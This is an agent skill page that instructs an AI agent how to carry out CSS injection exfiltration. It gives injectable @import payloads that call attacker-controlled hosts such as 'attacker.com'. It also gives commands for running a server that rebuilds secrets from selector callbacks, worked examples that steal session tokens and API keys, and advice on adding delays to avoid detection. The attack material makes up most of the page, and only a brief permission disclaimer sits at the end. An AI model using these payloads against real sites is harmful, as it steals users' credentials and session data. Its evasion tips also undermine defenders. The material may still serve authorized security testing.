# CSS Injection Exfiltration

> How to perform CSS injection attacks to exfiltrate data from input fields using CSS selectors and @import. Use this skill whenever the user mentions CSS injection, style injection, data exfiltration from forms, input field attacks, or wants to extract secrets from HTML input values. This is essential for web security testing when you need to extract hidden or sensitive data from input fields that can't be accessed through normal means.

- Skill: `abelrguezr/css-injection-exfiltration` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/css-injection-exfiltration`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/css-injection-exfiltration/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/css-injection-exfiltration

---


# CSS Injection Exfiltration

This skill teaches you how to perform CSS injection attacks to exfiltrate data from HTML input fields. CSS injection is a powerful technique for extracting secrets, tokens, or any data stored in input field values when you can inject CSS into a page.

## How It Works

CSS injection exfiltration works by:

1. **Injecting CSS** into the target page via a style tag or CSS file
2. **Using CSS selectors** to match input field values (prefix/suffix matching)
3. **Triggering @import requests** to your controlled server when selectors match
4. **Reconstructing the secret** character by character through iterative requests

The technique uses CSS attribute selectors like `value^="prefix"` and `value$="suffix"` to test if an input's value starts or ends with specific characters. When a selector matches, it triggers a CSS `url()` property that makes a request to your server, leaking the matched character.

## Setup

### 1. Start the Exfiltration Server

Use the bundled script to start your exfiltration server:

```bash
node scripts/css-exfil-server.js [port] [hostname]
```

**Parameters:**
- `port`: Port to listen on (default: 5001)
- `hostname`: Your server address (default: localhost:5001)

**Example:**
```bash
node scripts/css-exfil-server.js 5001 attacker.example.com
```

### 2. Inject the Initial CSS

Inject this CSS into the target page (via XSS, template injection, or any CSS injection vector):

```html
<style>
  @import url("http://YOUR_SERVER:5001/start?");
</style>
```

Replace `YOUR_SERVER:5001` with your actual server address.

### 3. The Server Handles the Rest

Once the initial `@import` is triggered, the server automatically:
- Generates CSS payloads to test each hex character (0-9, a-f)
- Receives leak callbacks when characters match
- Reconstructs the secret character by character
- Stops when the full secret is extracted

## Understanding the Attack Flow

### Phase 1: Initialization
```
Target Page → @import → Your Server /start
Your Server → Returns CSS with character tests
```

### Phase 2: Character Testing
For each position in the secret:

1. **Test suffixes** - CSS checks if value ends with each hex char
2. **Test prefixes** - CSS checks if value starts with each hex char
3. **Server receives callbacks** - When selectors match, browser requests `/leak?pre=X` or `/leak?post=Y`
4. **Server waits for both** - Needs prefix AND suffix match to confirm character
5. **Generate next payload** - Move to next character position

### Phase 3: Completion
When the full secret is reconstructed, the server receives `/end?token=SECRET` and stops.

## CSS Selector Techniques

### Prefix Matching
```css
input[value^="abc"] { /* matches if value starts with "abc" */ }
```

### Suffix Matching
```css
input[value$="xyz"] { /* matches if value ends with "xyz" */ }
```

### Exact Matching
```css
input[value="exact"] { /* matches if value equals "exact" */ }
```

### Character Class Testing
```css
input[value$="0"], input[value$="1"], input[value$="2"] { /* test multiple */ }
```

## Practical Examples

### Example 1: Extracting a Session Token

**Target HTML:**
```html
<input type="hidden" value="a1b2c3d4" name="session" />
```

**Attack:**
1. Start server: `node scripts/css-exfil-server.js 5001 attacker.com`
2. Inject: `<style>@import url("http://attacker.com:5001/start?");</style>`
3. Server output: `[+] END: a1b2c3d4`

### Example 2: Extracting API Keys

**Target HTML:**
```html
<input type="text" value="sk_live_abc123xyz" />
```

**Attack:**
1. Start server on your domain
2. Inject CSS via any injection point
3. Server reconstructs the full key

### Example 3: Nested Input Fields

The attack works even with deeply nested inputs:
```html
<div><div><div><div><input value="secret" /></div></div></div></div>
```

The server automatically handles nesting by adding `div ` selectors for each position.

## Server Output Interpretation

```
[+] Server is listening on 5001
...pre-payload: a
...post-payload: 1b2c3d4
	req: /start?
	leak: waiting others...
	leak: waiting others...
	req: /leak?pre=a
	req: /leak?post=1b2c3d4
[+] END: a1b2c3d4
```

- `pre-payload`: Characters confirmed at the start of the secret
- `post-payload`: Characters confirmed at the end of the secret
- `END`: Full secret extracted

## Limitations and Considerations

### Works Best With:
- Hex strings (0-9, a-f)
- Known character sets
- Input fields with accessible values
- Pages where CSS can be injected

### May Not Work With:
- Encrypted or hashed values
- Very long secrets (browser may timeout)
- Input fields with `readonly` or `disabled` attributes (sometimes)
- CSP that blocks external CSS imports

### Browser Compatibility:
- Works in most modern browsers
- Some browsers may block mixed content (HTTP CSS on HTTPS page)
- CORS restrictions may apply

## Advanced Techniques

### 1. Character Set Customization

Modify the server to test different character sets:
```javascript
// In css-exfil-server.js, change the character array
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
// To:
["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
```

### 2. Multiple Input Fields

The attack can target multiple inputs by adjusting selectors:
```css
input[name="session"][value^="a"] { /* specific input */ }
```

### 3. Rate Limiting

Add delays between requests to avoid detection:
```javascript
// In css-exfil-server.js, add setTimeout before genResponse
setTimeout(() => genResponse(response), 1000);
```

## Security Testing Checklist

When testing for CSS injection vulnerabilities:

- [ ] Identify CSS injection points (style tags, CSS files, template variables)
- [ ] Check if input fields contain sensitive data
- [ ] Verify CSP allows external CSS imports
- [ ] Test with the exfiltration server
- [ ] Document findings and affected endpoints

## Legal and Ethical Considerations

**Only use this technique on systems you own or have explicit permission to test.** CSS injection exfiltration is a powerful attack that can extract sensitive data including:

- Session tokens
- API keys
- Passwords (if stored in inputs)
- Personal information
- Authentication credentials

Always obtain proper authorization before testing.

## Troubleshooting

### Server not receiving requests
- Check firewall settings
- Verify the injected CSS is actually loaded
- Ensure the server address is accessible from the target
- Check browser console for CSS loading errors

### Partial extraction
- Some characters may not match (non-hex characters)
- Adjust the character set in the server
- Check if the input value changes dynamically

### Slow extraction
- Browser may be rate-limiting requests
- Add delays in the server
- Check network latency

## References

- [HackTricks CSS Injection](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection)
- [OWASP CSS Injection](https://owasp.org/www-community/attacks/CSS_Injection)
- [CSS Attribute Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors)

